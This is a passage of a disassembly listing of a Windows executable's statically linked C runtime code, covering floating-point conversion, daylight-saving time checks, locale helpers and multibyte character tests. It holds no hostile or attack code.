; [00000077 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000A0 BYTES: COLLAPSED FUNCTION __wctomb_lk. PRESS KEYPAD	"+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000015E BYTES: COLLAPSED FUNCTION __mbtowc_lk. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __allshl.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000066 BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000013E BYTES: COLLAPSED FUNCTION _ungetc_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4321B0	proc near		; CODE XREF: __umatherr+5Ap
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_4321B0	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __statusfp. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000020 BYTES: COLLAPSED FUNCTION __clearfp. PRESS KEYPAD "+" TO EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000001A BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000058 BYTES: COLLAPSED FUNCTION __fpreset. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000179 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000015A BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000A7 BYTES: COLLAPSED FUNCTION __abstract_sw. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000084 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000000A8 BYTES: COLLAPSED FUNCTION __IncMan.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000DB BYTES: COLLAPSED FUNCTION __RoundMan. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000004C BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000037 BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000EC BYTES: COLLAPSED FUNCTION __ShrMan.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000242 BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432C80	proc near		; CODE XREF: sub_432D80+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_454568
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	__ld12cvt
		add	esp, 0Ch
		pop	ebp
		retn
sub_432C80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432CA0	proc near		; CODE XREF: sub_432E00+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_454580
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	__ld12cvt
		add	esp, 0Ch
		pop	ebp
		retn
sub_432CA0	endp

; ---------------------------------------------------------------------------
		align 10h
; [000000BF BYTES: COLLAPSED FUNCTION __ld12told. PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D80	proc near		; CODE XREF: __fassign+14p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	___strgtold12
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_432C80
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_432D80	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000036 BYTES: COLLAPSED FUNCTION __atoldbl. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432E00	proc near		; CODE XREF: __fassign+34p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	___strgtold12
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_432CA0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_432E00	endp

; ---------------------------------------------------------------------------
		align 10h
; [000000FA BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000077 BYTES: COLLAPSED FUNCTION __fltout2. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000162 BYTES: COLLAPSED FUNCTION ___dtold.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000000F BYTES: COLLAPSED FUNCTION __fptrap.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000005B BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS	*). PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __CxxSetUnhandledExceptionFilter(void). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000011 BYTES: COLLAPSED FUNCTION __CxxRestoreUnhandledExceptionFilter(void). PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4331E0	proc near		; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,void *,_s_FuncInfo	const *,uchar,int,EHRegistrationNode *)+9Ep
					; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+77p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	ds:dword_4F5470	; IsBadReadPtr
		test	eax, eax
		jz	short loc_433204
		mov	[ebp+var_4], 0

loc_433204:				; CODE XREF: sub_4331E0+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4331E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433210	proc near		; CODE XREF: BuildCatchObject(EHExceptionRecord	*,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+89p
					; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	ds:dword_4F546C	; IsBadWritePtr
		test	eax, eax
		jz	short loc_433234
		mov	[ebp+var_4], 0

loc_433234:				; CODE XREF: sub_433210+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_433210	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000001E BYTES: COLLAPSED FUNCTION _abort. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; [0000003D BYTES: COLLAPSED FUNCTION ___tzset.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000003AB BYTES: COLLAPSED FUNCTION __tzset_lk. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000002E BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4336D0	proc near		; CODE XREF: __isindst+12p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_45459C, 0
		jnz	short loc_4336E4
		xor	eax, eax
		jmp	loc_4339C6
; ---------------------------------------------------------------------------

loc_4336E4:				; CODE XREF: sub_4336D0+Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		cmp	ecx, dword_454630
		jnz	short loc_433704
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		cmp	eax, dword_454640
		jz	loc_4338CB

loc_433704:				; CODE XREF: sub_4336D0+20j
		cmp	dword_4F3768, 0
		jz	loc_433885
		xor	ecx, ecx
		mov	cx, word_4F3808
		test	ecx, ecx
		jnz	short loc_433779
		xor	edx, edx
		mov	dx, word_4F3816
		push	edx
		xor	eax, eax
		mov	ax, word_4F3814
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F3812
		push	ecx
		xor	edx, edx
		mov	dx, word_4F3810
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4F380C
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F380E
		push	ecx
		xor	edx, edx
		mov	dx, word_4F380A
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	1
		call	_cvtdate
		add	esp, 2Ch
		jmp	short loc_4337CA
; ---------------------------------------------------------------------------

loc_433779:				; CODE XREF: sub_4336D0+4Cj
		xor	edx, edx
		mov	dx, word_4F3816
		push	edx
		xor	eax, eax
		mov	ax, word_4F3814
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F3812
		push	ecx
		xor	edx, edx
		mov	dx, word_4F3810
		push	edx
		xor	eax, eax
		mov	ax, word_4F380E
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4F380A
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	1
		call	_cvtdate
		add	esp, 2Ch

loc_4337CA:				; CODE XREF: sub_4336D0+A7j
		xor	ecx, ecx
		mov	cx, word_4F37B4
		test	ecx, ecx
		jnz	short loc_433832
		xor	edx, edx
		mov	dx, word_4F37C2
		push	edx
		xor	eax, eax
		mov	ax, word_4F37C0
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F37BE
		push	ecx
		xor	edx, edx
		mov	dx, word_4F37BC
		push	edx
		push	0
		xor	eax, eax
		mov	ax, word_4F37B8
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F37BA
		push	ecx
		xor	edx, edx
		mov	dx, word_4F37B6
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	_cvtdate
		add	esp, 2Ch
		jmp	short loc_433883
; ---------------------------------------------------------------------------

loc_433832:				; CODE XREF: sub_4336D0+105j
		xor	edx, edx
		mov	dx, word_4F37C2
		push	edx
		xor	eax, eax
		mov	ax, word_4F37C0
		push	eax
		xor	ecx, ecx
		mov	cx, word_4F37BE
		push	ecx
		xor	edx, edx
		mov	dx, word_4F37BC
		push	edx
		xor	eax, eax
		mov	ax, word_4F37BA
		push	eax
		push	0
		push	0
		xor	ecx, ecx
		mov	cx, word_4F37B6
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+14h]
		push	eax
		push	0
		push	0
		call	_cvtdate
		add	esp, 2Ch

loc_433883:				; CODE XREF: sub_4336D0+160j
		jmp	short loc_4338CB
; ---------------------------------------------------------------------------

loc_433885:				; CODE XREF: sub_4336D0+3Bj
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	1
		push	4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		push	edx
		push	1
		push	1
		call	_cvtdate
		add	esp, 2Ch
		push	0
		push	0
		push	0
		push	2
		push	0
		push	0
		push	5
		push	0Ah
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		push	ecx
		push	1
		push	0
		call	_cvtdate
		add	esp, 2Ch

loc_4338CB:				; CODE XREF: sub_4336D0+2Ej
					; sub_4336D0:loc_433883j
		mov	edx, dword_454634
		cmp	edx, dword_454644
		jge	short loc_433924
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_454634
		jl	short loc_4338F5
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_454644
		jle	short loc_4338FC

loc_4338F5:				; CODE XREF: sub_4336D0+215j
		xor	eax, eax
		jmp	loc_4339C6
; ---------------------------------------------------------------------------

loc_4338FC:				; CODE XREF: sub_4336D0+223j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_454634
		jle	short loc_433922
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_454644
		jge	short loc_433922
		mov	eax, 1
		jmp	loc_4339C6
; ---------------------------------------------------------------------------

loc_433922:				; CODE XREF: sub_4336D0+238j
					; sub_4336D0+246j
		jmp	short loc_433967
; ---------------------------------------------------------------------------

loc_433924:				; CODE XREF: sub_4336D0+207j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_454644
		jl	short loc_433940
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_454634
		jle	short loc_433947

loc_433940:				; CODE XREF: sub_4336D0+260j
		mov	eax, 1
		jmp	short loc_4339C6
; ---------------------------------------------------------------------------

loc_433947:				; CODE XREF: sub_4336D0+26Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		cmp	ecx, dword_454644
		jle	short loc_433967
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1Ch]
		cmp	eax, dword_454634
		jge	short loc_433967
		xor	eax, eax
		jmp	short loc_4339C6
; ---------------------------------------------------------------------------

loc_433967:				; CODE XREF: sub_4336D0:loc_433922j
					; sub_4336D0+283j ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		imul	edx, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		imul	eax, 0E10h
		add	ecx, eax
		imul	ecx, 3E8h
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		cmp	edx, dword_454634
		jnz	short loc_4339B2
		mov	eax, [ebp+var_4]
		cmp	eax, dword_454638
		jl	short loc_4339AE
		mov	eax, 1
		jmp	short loc_4339C6
; ---------------------------------------------------------------------------

loc_4339AE:				; CODE XREF: sub_4336D0+2D5j
		xor	eax, eax
		jmp	short loc_4339C6
; ---------------------------------------------------------------------------

loc_4339B2:				; CODE XREF: sub_4336D0+2CAj
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_454648
		jge	short loc_4339C4
		mov	eax, 1
		jmp	short loc_4339C6
; ---------------------------------------------------------------------------

loc_4339C4:				; CODE XREF: sub_4336D0+2EBj
		xor	eax, eax

loc_4339C6:				; CODE XREF: sub_4336D0+Fj
					; sub_4336D0+227j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4336D0	endp

; ---------------------------------------------------------------------------
		align 10h
; [000001F8 BYTES: COLLAPSED FUNCTION _cvtdate.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000DB BYTES: COLLAPSED FUNCTION ___init_time. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000058F BYTES: COLLAPSED FUNCTION __get_lc_time. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000030B BYTES: COLLAPSED FUNCTION __free_lc_time. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000002A6 BYTES: COLLAPSED FUNCTION ___init_numeric. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000007D BYTES: COLLAPSED FUNCTION _fix_grouping. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000130 BYTES: COLLAPSED FUNCTION ___init_monetary.	PRESS KEYPAD "+" TO EXPAND]
; [0000020D BYTES: COLLAPSED FUNCTION __get_lc_lconv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000007D BYTES: COLLAPSED FUNCTION _fix_grouping_0. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000093 BYTES: COLLAPSED FUNCTION __free_lc_lconv. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000003A0 BYTES: COLLAPSED FUNCTION unknown_libname_28. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435080	proc near		; DATA XREF: .data:004543E4o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_435080	endp

; ---------------------------------------------------------------------------
		align 10h
; [0000003E BYTES: COLLAPSED FUNCTION _strcspn.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000003A BYTES: COLLAPSED FUNCTION unknown_libname_30. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000200 BYTES: COLLAPSED FUNCTION ___get_qualified_locale. PRESS KEYPAD "+"	TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION _TranslateName. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BA BYTES: COLLAPSED FUNCTION _GetLcidFromLangCountry. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000324 BYTES: COLLAPSED FUNCTION LangCountryEnumProc(x). PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000074 BYTES: COLLAPSED FUNCTION _GetLcidFromLanguage. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000011F BYTES: COLLAPSED FUNCTION LanguageEnumProc(x). PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000045 BYTES: COLLAPSED FUNCTION _GetLcidFromCountry. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000000AC BYTES: COLLAPSED FUNCTION CountryEnumProc(x). PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000002B BYTES: COLLAPSED FUNCTION _GetLcidFromDefault. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000009B BYTES: COLLAPSED FUNCTION _ProcessCodePage.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000004F BYTES: COLLAPSED FUNCTION _TestDefaultCountry. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000087 BYTES: COLLAPSED FUNCTION _TestDefaultLanguage. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000004D BYTES: COLLAPSED FUNCTION _IsThisWindowsNT.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000184 BYTES: COLLAPSED FUNCTION crtGetLocaleInfoA(x,x,x,x). PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000076 BYTES: COLLAPSED FUNCTION _LcidFromHexString. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000065 BYTES: COLLAPSED FUNCTION _GetPrimaryLen. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_436030
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbkprint. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbkpunct. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbalnum. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbalpha. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbgraph. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000018 BYTES: COLLAPSED FUNCTION __ismbbprint. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbpunct. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000015 BYTES: COLLAPSED FUNCTION __ismbbtrail. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [0000003B BYTES: COLLAPSED FUNCTION __ismbbkana. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436030	proc near		; CODE XREF: .text:00435EBBp
					; __ismbbkprint+Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, byte_4F3AE1[ecx]
		and	edx, [ebp+arg_8]
		test	edx, edx
		jnz	short loc_436084
		cmp	[ebp+arg_4], 0
		jz	short loc_43606E
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, word ptr (__wctype+2)[eax*2]
		and	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_436075
; ---------------------------------------------------------------------------

loc_43606E:				; CODE XREF: sub_436030+27j
		mov	[ebp+var_4], 0

loc_436075:				; CODE XREF: sub_436030+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_436084
		mov	[ebp+var_8], 0
		jmp	short loc_43608B
; ---------------------------------------------------------------------------

loc_436084:				; CODE XREF: sub_436030+21j
					; sub_436030+49j
		mov	[ebp+var_8], 1

loc_43608B:				; CODE XREF: sub_436030+52j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_436030	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000073 BYTES: COLLAPSED FUNCTION __chsize.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000230 BYTES: COLLAPSED FUNCTION __chsize_lk. PRESS KEYPAD	"+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000AD BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000060 BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [00000063 BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000013B BYTES: COLLAPSED FUNCTION ___mtold12. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000A1A BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_43706A	dd offset loc_43672C	; DATA XREF: ___strgtold12+D5r
		dd offset loc_4367CA
		dd offset loc_436880
		dd offset loc_4368EB
		dd offset loc_436A03
		dd offset loc_436B35
		dd offset loc_436BAB
		dd offset loc_436C90
		dd offset loc_436C32
		dd offset loc_436CE3
		dd offset loc_436E53
		dd offset loc_436DEF
off_43709A	dd offset loc_436859	; DATA XREF: ___strgtold12+1F0r
		dd offset loc_436847
		dd offset loc_436850
		dd offset loc_43686B
byte_4370AA	db 0			; DATA XREF: ___strgtold12+1EAr
		db 3
		dd 1030300h, 4 dup(3030303h), 2030303h,	3030302h, 6 dup(3030303h)
		dd 2030303h
		db 2
		dd offset loc_4369DC	; DATA XREF: ___strgtold12+37Cr
		dd offset loc_4369D3
		dd offset loc_4369EE
byte_4370F1	db 0			; DATA XREF: ___strgtold12+376r
		dw 2
		dd 5 dup(2020202h), 1010202h, 7	dup(2020202h), 1010202h
off_43712C	dd offset loc_436B0E	; DATA XREF: ___strgtold12+4AEr
		dd offset loc_436B05
		dd offset loc_436B20
byte_437138	db 0			; DATA XREF: ___strgtold12+4A8r
		db 2, 0, 2
		dd 5 dup(2020202h), 2010102h, 7	dup(2020202h), 0CC010102h
		dd 3 dup(0CCCCCCCCh)
; [0000004F BYTES: COLLAPSED FUNCTION ___STRINGTOLD. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000516 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Ch
		call	__lock
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	_getenv
		add	esp, 4
		mov	[ebp-4], eax
		push	0Ch
		call	__unlock
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [000000C6 BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000121 BYTES: COLLAPSED FUNCTION __Getdays. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000123 BYTES: COLLAPSED FUNCTION __Getmonths. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000036E BYTES: COLLAPSED FUNCTION __Gettnames. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_437DE0
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437DE0	proc near		; CODE XREF: .text:00437DD5p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	offset dword_4F39C8
		call	ds:dword_4F5488	; InterlockedIncrement
		cmp	dword_4F39C4, 0
		jz	short loc_437E1E
		push	offset dword_4F39C8
		call	ds:dword_4F5484	; InterlockedDecrement
		push	13h
		call	__lock
		add	esp, 4
		mov	[ebp+var_8], 1
		jmp	short loc_437E25
; ---------------------------------------------------------------------------

loc_437E1E:				; CODE XREF: sub_437DE0+1Ej
		mov	[ebp+var_8], 0

loc_437E25:				; CODE XREF: sub_437DE0+3Cj
		cmp	[ebp+arg_10], 0
		jnz	short loc_437E36
		mov	ecx, off_454E38
		mov	[ebp+var_10], ecx
		jmp	short loc_437E3C
; ---------------------------------------------------------------------------

loc_437E36:				; CODE XREF: sub_437DE0+49j
		mov	edx, [ebp+arg_10]
		mov	[ebp+var_10], edx

loc_437E3C:				; CODE XREF: sub_437DE0+54j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_4], eax

loc_437E42:				; CODE XREF: sub_437DE0:loc_437F2Ej
		cmp	[ebp+var_C], 0
		jbe	loc_437F33
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[ebp+var_14], dl
		cmp	[ebp+var_14], 0
		jz	short loc_437E62
		cmp	[ebp+var_14], 25h
		jz	short loc_437E67
		jmp	short loc_437EC1
; ---------------------------------------------------------------------------

loc_437E62:				; CODE XREF: sub_437DE0+78j
		jmp	loc_437F33
; ---------------------------------------------------------------------------

loc_437E67:				; CODE XREF: sub_437DE0+7Ej
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax
		mov	dword_4F38B0, 0
		mov	ecx, [ebp+arg_8]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 23h
		jnz	short loc_437E98
		mov	dword_4F38B0, 1
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax

loc_437E98:				; CODE XREF: sub_437DE0+A3j
		mov	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
